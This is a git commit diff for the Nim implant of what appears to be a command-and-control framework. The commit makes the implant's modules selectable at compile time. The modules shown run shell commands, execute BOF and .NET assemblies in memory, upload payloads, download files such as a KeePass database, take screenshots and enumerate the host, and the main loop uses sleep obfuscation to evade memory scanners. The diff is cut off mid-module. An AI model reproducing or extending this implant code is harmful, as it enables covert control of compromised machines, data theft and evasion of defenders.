Reworked module system. Modules can now be individually set to be included in the agent. For example, it is possible to compile an agent only capable of executing BOFs and nothing else.
This commit is contained in:
@@ -1,8 +1,7 @@
|
|||||||
import strformat, os, times, system, base64
|
import strformat, os, times, system, base64
|
||||||
|
|
||||||
import core/[http, context, sleepmask, coff]
|
import core/[http, context, sleepmask]
|
||||||
import protocol/[task, result, heartbeat, registration]
|
import protocol/[task, result, heartbeat, registration]
|
||||||
import ../modules/manager
|
|
||||||
import ../common/[types, utils, crypto]
|
import ../common/[types, utils, crypto]
|
||||||
|
|
||||||
proc main() =
|
proc main() =
|
||||||
@@ -12,9 +11,6 @@ proc main() =
|
|||||||
if ctx == nil:
|
if ctx == nil:
|
||||||
quit(0)
|
quit(0)
|
||||||
|
|
||||||
# Load agent commands
|
|
||||||
loadModules()
|
|
||||||
|
|
||||||
# Create registration payload
|
# Create registration payload
|
||||||
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
var registration: AgentRegistrationData = ctx.collectAgentMetadata()
|
||||||
let registrationBytes = ctx.serializeRegistrationData(registration)
|
let registrationBytes = ctx.serializeRegistrationData(registration)
|
||||||
@@ -32,7 +28,6 @@ proc main() =
|
|||||||
4. If additional tasks have been fetched, go to 2.
|
4. If additional tasks have been fetched, go to 2.
|
||||||
5. If no more tasks need to be executed, go to 1.
|
5. If no more tasks need to be executed, go to 1.
|
||||||
]#
|
]#
|
||||||
|
|
||||||
while true:
|
while true:
|
||||||
# Sleep obfuscation to evade memory scanners
|
# Sleep obfuscation to evade memory scanners
|
||||||
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
sleepObfuscate(ctx.sleep * 1000, ctx.sleepTechnique, ctx.spoofStack)
|
||||||
|
|||||||
@@ -4,4 +4,5 @@
|
|||||||
--opt:size
|
--opt:size
|
||||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||||
|
-d:MODULES=1
|
||||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||||
@@ -50,6 +50,17 @@ type
|
|||||||
CMD_SCREENSHOT = 15'u16
|
CMD_SCREENSHOT = 15'u16
|
||||||
CMD_DOTNET = 16'u16
|
CMD_DOTNET = 16'u16
|
||||||
|
|
||||||
|
ModuleType* = enum
|
||||||
|
MODULE_ALL = 1'u32
|
||||||
|
MODULE_SLEEP = 2'u32
|
||||||
|
MODULE_SHELL = 4'u32
|
||||||
|
MODULE_BOF = 8'u32
|
||||||
|
MODULE_DOTNET = 16'u32
|
||||||
|
MODULE_FILESYSTEM = 32'u32
|
||||||
|
MODULE_FILETRANSFER = 64'u32
|
||||||
|
MODULE_SCREENSHOT = 128'u32
|
||||||
|
MODULE_SITUATIONAL_AWARENESS = 256'u32
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
STATUS_FAILED = 1'u8
|
STATUS_FAILED = 1'u8
|
||||||
@@ -143,7 +154,6 @@ type
|
|||||||
|
|
||||||
# Registration binary structure
|
# Registration binary structure
|
||||||
type
|
type
|
||||||
|
|
||||||
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
|
||||||
AgentMetadata* = object
|
AgentMetadata* = object
|
||||||
listenerId*: Uuid
|
listenerId*: Uuid
|
||||||
@@ -238,6 +248,11 @@ type
|
|||||||
dispatchMessage*: string
|
dispatchMessage*: string
|
||||||
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
|
execute*: proc(config: AgentCtx, task: Task): TaskResult {.nimcall.}
|
||||||
|
|
||||||
|
Module* = object
|
||||||
|
name*: string
|
||||||
|
description*: string
|
||||||
|
commands*: seq[Command]
|
||||||
|
|
||||||
# Definitions for ImGui User interface
|
# Definitions for ImGui User interface
|
||||||
type
|
type
|
||||||
ConsoleItem* = ref object
|
ConsoleItem* = ref object
|
||||||
|
|||||||
@@ -3,20 +3,24 @@ import ../common/[types, utils]
|
|||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
|
proc executeBof(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Module definition
|
||||||
let commands*: seq[Command] = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("bof"),
|
||||||
name: protect("bof"),
|
description: protect("Load and execute BOF/COFF files in memory."),
|
||||||
commandType: CMD_BOF,
|
commands: @[
|
||||||
description: protect("Execute an object file in memory and retrieve the output."),
|
Command(
|
||||||
example: protect("bof /path/to/dir.x64.o C:\\Users"),
|
name: protect("bof"),
|
||||||
arguments: @[
|
commandType: CMD_BOF,
|
||||||
Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true),
|
description: protect("Execute an object file in memory and retrieve the output."),
|
||||||
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false)
|
example: protect("bof /path/to/dir.x64.o C:\\Users"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeBof
|
Argument(name: protect("path"), description: protect("Path to the object file to execute."), argumentType: BINARY, isRequired: true),
|
||||||
)
|
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file. Arguments are handled as STRING, unless specified with a prefix ([i]:INT, [w]:WSTRING, [s]:SHORT; the colon separates prefix and value)"), argumentType: STRING, isRequired: false)
|
||||||
]
|
],
|
||||||
|
execute: executeBof
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -3,20 +3,24 @@ import ../common/[types, utils]
|
|||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
|
proc executeAssembly(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Module definition
|
||||||
let commands*: seq[Command] = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("dotnet"),
|
||||||
name: protect("dotnet"),
|
description: protect("Load and execute .NET assemblies in memory."),
|
||||||
commandType: CMD_DOTNET,
|
commands: @[
|
||||||
description: protect("Execute a .NET assembly in memory and retrieve the output."),
|
Command(
|
||||||
example: protect("dotnet /path/to/Seatbelt.exe antivirus"),
|
name: protect("dotnet"),
|
||||||
arguments: @[
|
commandType: CMD_DOTNET,
|
||||||
Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true),
|
description: protect("Execute a .NET assembly in memory and retrieve the output."),
|
||||||
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false)
|
example: protect("dotnet /path/to/Seatbelt.exe antivirus"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeAssembly
|
Argument(name: protect("path"), description: protect("Path to the .NET assembly file to execute."), argumentType: BINARY, isRequired: true),
|
||||||
)
|
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the assembly. Arguments are handled as STRING"), argumentType: STRING, isRequired: false)
|
||||||
]
|
],
|
||||||
|
execute: executeAssembly
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -9,79 +9,83 @@ proc executeRmdir(ctx: AgentCtx, task: Task): TaskResult
|
|||||||
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
|
proc executeMove(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
proc executeCopy(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definitions
|
# Module definition
|
||||||
let commands* = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("filesystem"),
|
||||||
name: protect("pwd"),
|
description: protect("Conduct simple filesystem operations via Windows API."),
|
||||||
commandType: CMD_PWD,
|
commands: @[
|
||||||
description: protect("Retrieve current working directory."),
|
Command(
|
||||||
example: protect("pwd"),
|
name: protect("pwd"),
|
||||||
arguments: @[],
|
commandType: CMD_PWD,
|
||||||
execute: executePwd
|
description: protect("Retrieve current working directory."),
|
||||||
),
|
example: protect("pwd"),
|
||||||
Command(
|
arguments: @[],
|
||||||
name: protect("cd"),
|
execute: executePwd
|
||||||
commandType: CMD_CD,
|
),
|
||||||
description: protect("Change current working directory."),
|
Command(
|
||||||
example: protect("cd C:\\Windows\\Tasks"),
|
name: protect("cd"),
|
||||||
arguments: @[
|
commandType: CMD_CD,
|
||||||
Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
|
description: protect("Change current working directory."),
|
||||||
],
|
example: protect("cd C:\\Windows\\Tasks"),
|
||||||
execute: executeCd
|
arguments: @[
|
||||||
),
|
Argument(name: protect("directory"), description: protect("Relative or absolute path of the directory to change to."), argumentType: STRING, isRequired: true)
|
||||||
Command(
|
],
|
||||||
name: protect("ls"),
|
execute: executeCd
|
||||||
commandType: CMD_LS,
|
),
|
||||||
description: protect("List files and directories."),
|
Command(
|
||||||
example: protect("ls C:\\Users\\Administrator\\Desktop"),
|
name: protect("ls"),
|
||||||
arguments: @[
|
commandType: CMD_LS,
|
||||||
Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
|
description: protect("List files and directories."),
|
||||||
],
|
example: protect("ls C:\\Users\\Administrator\\Desktop"),
|
||||||
execute: executeDir
|
arguments: @[
|
||||||
),
|
Argument(name: protect("directory"), description: protect("Relative or absolute path. Default: current working directory."), argumentType: STRING, isRequired: false)
|
||||||
Command(
|
],
|
||||||
name: protect("rm"),
|
execute: executeDir
|
||||||
commandType: CMD_RM,
|
),
|
||||||
description: protect("Remove a file."),
|
Command(
|
||||||
example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
|
name: protect("rm"),
|
||||||
arguments: @[
|
commandType: CMD_RM,
|
||||||
Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
|
description: protect("Remove a file."),
|
||||||
],
|
example: protect("rm C:\\Windows\\Tasks\\payload.exe"),
|
||||||
execute: executeRm
|
arguments: @[
|
||||||
),
|
Argument(name: protect("file"), description: protect("Relative or absolute path to the file to delete."), argumentType: STRING, isRequired: true)
|
||||||
Command(
|
],
|
||||||
name: protect("rmdir"),
|
execute: executeRm
|
||||||
commandType: CMD_RMDIR,
|
),
|
||||||
description: protect("Remove a directory."),
|
Command(
|
||||||
example: protect("rm C:\\Payloads"),
|
name: protect("rmdir"),
|
||||||
arguments: @[
|
commandType: CMD_RMDIR,
|
||||||
Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
|
description: protect("Remove a directory."),
|
||||||
],
|
example: protect("rm C:\\Payloads"),
|
||||||
execute: executeRmdir
|
arguments: @[
|
||||||
),
|
Argument(name: protect("directory"), description: protect("Relative or absolute path to the directory to delete."), argumentType: STRING, isRequired: true)
|
||||||
Command(
|
],
|
||||||
name: protect("move"),
|
execute: executeRmdir
|
||||||
commandType: CMD_MOVE,
|
),
|
||||||
description: protect("Move a file or directory."),
|
Command(
|
||||||
example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
|
name: protect("move"),
|
||||||
arguments: @[
|
commandType: CMD_MOVE,
|
||||||
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
|
description: protect("Move a file or directory."),
|
||||||
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
|
example: protect("move source.exe C:\\Windows\\Tasks\\destination.exe"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeMove
|
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
|
||||||
),
|
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
|
||||||
Command(
|
],
|
||||||
name: protect("copy"),
|
execute: executeMove
|
||||||
commandType: CMD_COPY,
|
),
|
||||||
description: protect("Copy a file or directory."),
|
Command(
|
||||||
example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
|
name: protect("copy"),
|
||||||
arguments: @[
|
commandType: CMD_COPY,
|
||||||
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
|
description: protect("Copy a file or directory."),
|
||||||
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
|
example: protect("copy source.exe C:\\Windows\\Tasks\\destination.exe"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeCopy
|
Argument(name: protect("source"), description: protect("Source file path."), argumentType: STRING, isRequired: true),
|
||||||
)
|
Argument(name: protect("destination"), description: protect("Destination file path."), argumentType: STRING, isRequired: true)
|
||||||
]
|
],
|
||||||
|
execute: executeCopy
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implementation of the execution functions
|
# Implementation of the execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -4,30 +4,33 @@ import ../common/[types, utils]
|
|||||||
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
|
# Module definition
|
||||||
# Command definition (as seq[Command])
|
let module* = Module(
|
||||||
let commands*: seq[Command] = @[
|
name: protect("filetransfer"),
|
||||||
Command(
|
description: protect("Upload/download files to/from the target system."),
|
||||||
name: protect("download"),
|
commands: @[
|
||||||
commandType: CMD_DOWNLOAD,
|
Command(
|
||||||
description: protect("Download a file."),
|
name: protect("download"),
|
||||||
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
|
commandType: CMD_DOWNLOAD,
|
||||||
arguments: @[
|
description: protect("Download a file."),
|
||||||
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
|
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeDownload
|
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
|
||||||
),
|
],
|
||||||
Command(
|
execute: executeDownload
|
||||||
name: protect("upload"),
|
),
|
||||||
commandType: CMD_UPLOAD,
|
Command(
|
||||||
description: protect("Upload a file."),
|
name: protect("upload"),
|
||||||
example: protect("upload /path/to/payload.exe"),
|
commandType: CMD_UPLOAD,
|
||||||
arguments: @[
|
description: protect("Upload a file."),
|
||||||
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
example: protect("upload /path/to/payload.exe"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeUpload
|
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
||||||
)
|
],
|
||||||
]
|
execute: executeUpload
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -1,16 +1,7 @@
|
|||||||
import tables, strformat
|
import tables, strformat
|
||||||
import ../common/types
|
import ../common/types
|
||||||
|
|
||||||
# Import modules
|
const MODULES {.intdefine.} = 1
|
||||||
import
|
|
||||||
shell,
|
|
||||||
sleep,
|
|
||||||
filesystem,
|
|
||||||
filetransfer,
|
|
||||||
environment,
|
|
||||||
bof,
|
|
||||||
dotnet,
|
|
||||||
screenshot
|
|
||||||
|
|
||||||
type
|
type
|
||||||
ModuleManager* = object
|
ModuleManager* = object
|
||||||
@@ -19,21 +10,56 @@ type
|
|||||||
|
|
||||||
var manager: ModuleManager
|
var manager: ModuleManager
|
||||||
|
|
||||||
proc registerCommands(commands: seq[Command]) {.discardable.} =
|
proc registerModule(module: Module) {.discardable.} =
|
||||||
for cmd in commands:
|
for cmd in module.commands:
|
||||||
manager.commandsByType[cmd.commandType] = cmd
|
manager.commandsByType[cmd.commandType] = cmd
|
||||||
manager.commandsByName[cmd.name] = cmd
|
manager.commandsByName[cmd.name] = cmd
|
||||||
|
|
||||||
proc loadModules*() =
|
# Import all modules
|
||||||
# Register all imported commands
|
when ((MODULES and cast[uint32](MODULE_ALL)) == cast[uint32](MODULE_ALL)):
|
||||||
registerCommands(shell.commands)
|
import
|
||||||
registerCommands(sleep.commands)
|
sleep,
|
||||||
registerCommands(filesystem.commands)
|
shell,
|
||||||
registerCommands(filetransfer.commands)
|
filesystem,
|
||||||
registerCommands(environment.commands)
|
filetransfer,
|
||||||
registerCommands(bof.commands)
|
bof,
|
||||||
registerCommands(dotnet.commands)
|
dotnet,
|
||||||
registerCommands(screenshot.commands)
|
screenshot,
|
||||||
|
situationalAwareness
|
||||||
|
registerModule(sleep.module)
|
||||||
|
registerModule(shell.module)
|
||||||
|
registerModule(bof.module)
|
||||||
|
registerModule(dotnet.module)
|
||||||
|
registerModule(filesystem.module)
|
||||||
|
registerModule(filetransfer.module)
|
||||||
|
registerModule(screenshot.module)
|
||||||
|
registerModule(situationalAwareness.module)
|
||||||
|
|
||||||
|
# Import modules individually
|
||||||
|
when ((MODULES and cast[uint32](MODULE_SLEEP)) == cast[uint32](MODULE_SLEEP)):
|
||||||
|
import sleep
|
||||||
|
registerModule(sleep.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_SHELL)) == cast[uint32](MODULE_SHELL)):
|
||||||
|
import shell
|
||||||
|
registerModule(shell.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_BOF)) == cast[uint32](MODULE_BOF)):
|
||||||
|
import bof
|
||||||
|
registerModule(bof.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_DOTNET)) == cast[uint32](MODULE_DOTNET)):
|
||||||
|
import dotnet
|
||||||
|
registerModule(dotnet.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_FILESYSTEM)) == cast[uint32](MODULE_FILESYSTEM)):
|
||||||
|
import filesystem
|
||||||
|
registerModule(filesystem.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_FILETRANSFER)) == cast[uint32](MODULE_FILETRANSFER)):
|
||||||
|
import filetransfer
|
||||||
|
registerModule(filetransfer.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_SCREENSHOT)) == cast[uint32](MODULE_SCREENSHOT)):
|
||||||
|
import screenshot
|
||||||
|
registerModule(screenshot.module)
|
||||||
|
when ((MODULES and cast[uint32](MODULE_SITUATIONAL_AWARENESS)) == cast[uint32](MODULE_SITUATIONAL_AWARENESS)):
|
||||||
|
import situationalAwareness
|
||||||
|
registerModule(situationalAwareness.module)
|
||||||
|
|
||||||
proc getCommandByType*(cmdType: CommandType): Command =
|
proc getCommandByType*(cmdType: CommandType): Command =
|
||||||
return manager.commandsByType[cmdType]
|
return manager.commandsByType[cmdType]
|
||||||
|
|||||||
@@ -3,17 +3,21 @@ import ../common/[types, utils]
|
|||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
|
proc executeScreenshot(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Module definition
|
||||||
let commands*: seq[Command] = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("screenshot"),
|
||||||
name: protect("screenshot"),
|
description: protect("Take and retrieve a screenshot of the target desktop."),
|
||||||
commandType: CMD_SCREENSHOT,
|
commands: @[
|
||||||
description: protect("Take a screenshot of the target system."),
|
Command(
|
||||||
example: protect("screenshot"),
|
name: protect("screenshot"),
|
||||||
arguments: @[],
|
commandType: CMD_SCREENSHOT,
|
||||||
execute: executeScreenshot
|
description: protect("Take a screenshot of the target system."),
|
||||||
)
|
example: protect("screenshot"),
|
||||||
]
|
arguments: @[],
|
||||||
|
execute: executeScreenshot
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -3,20 +3,24 @@ import ../common/[types, utils]
|
|||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
proc executeShell(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definition (as seq[Command])
|
# Module definition
|
||||||
let commands*: seq[Command] = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("shell"),
|
||||||
name: protect("shell"),
|
description: protect("Execute shell commands or programs."),
|
||||||
commandType: CMD_SHELL,
|
commands: @[
|
||||||
description: protect("Execute a shell command and retrieve the output."),
|
Command(
|
||||||
example: protect("shell whoami /all"),
|
name: protect("shell"),
|
||||||
arguments: @[
|
commandType: CMD_SHELL,
|
||||||
Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
|
description: protect("Execute a shell command and retrieve the output."),
|
||||||
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
|
example: protect("shell whoami /all"),
|
||||||
],
|
arguments: @[
|
||||||
execute: executeShell
|
Argument(name: protect("command"), description: protect("Command to be executed."), argumentType: STRING, isRequired: true),
|
||||||
)
|
Argument(name: protect("arguments"), description: protect("Arguments to be passed to the command."), argumentType: STRING, isRequired: false)
|
||||||
]
|
],
|
||||||
|
execute: executeShell
|
||||||
|
)
|
||||||
|
]
|
||||||
|
)
|
||||||
|
|
||||||
# Implement execution functions
|
# Implement execution functions
|
||||||
when defined(server):
|
when defined(server):
|
||||||
|
|||||||
@@ -5,33 +5,37 @@ proc executePs(ctx: AgentCtx, task: Task): TaskResult
|
|||||||
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
|
proc executeEnv(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
|
proc executeWhoami(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Command definitions
|
# Module definition
|
||||||
let commands*: seq[Command] = @[
|
let module* = Module(
|
||||||
Command(
|
name: protect("situational-awareness"),
|
||||||
name: protect("ps"),
|
description: protect("Retrieve information about the target system and environment."),
|
||||||
commandType: CMD_PS,
|
commands: @[
|
||||||
description: protect("Display running processes."),
|
Command(
|
||||||
example: protect("ps"),
|
name: protect("ps"),
|
||||||
arguments: @[],
|
commandType: CMD_PS,
|
||||||
execute: executePs
|
description: protect("Display running processes."),
|
||||||
),
|
example: protect("ps"),
|
||||||
Command(
|
arguments: @[],
|
||||||
name: protect("env"),
|
execute: executePs
|
||||||
commandType: CMD_ENV,
|
),
|
||||||
description: protect("Display environment variables."),
|
Command(
|
||||||
example: protect("env"),
|
name: protect("env"),
|
||||||
arguments: @[],
|
commandType: CMD_ENV,
|
||||||
execute: executeEnv
|
description: protect("Display environment variables."),
|
||||||
),
|
example: protect("env"),
|
||||||
Command(
|
arguments: @[],
|
||||||
name: protect("whoami"),
|
execute: executeEnv
|
||||||
commandType: CMD_WHOAMI,
|
),
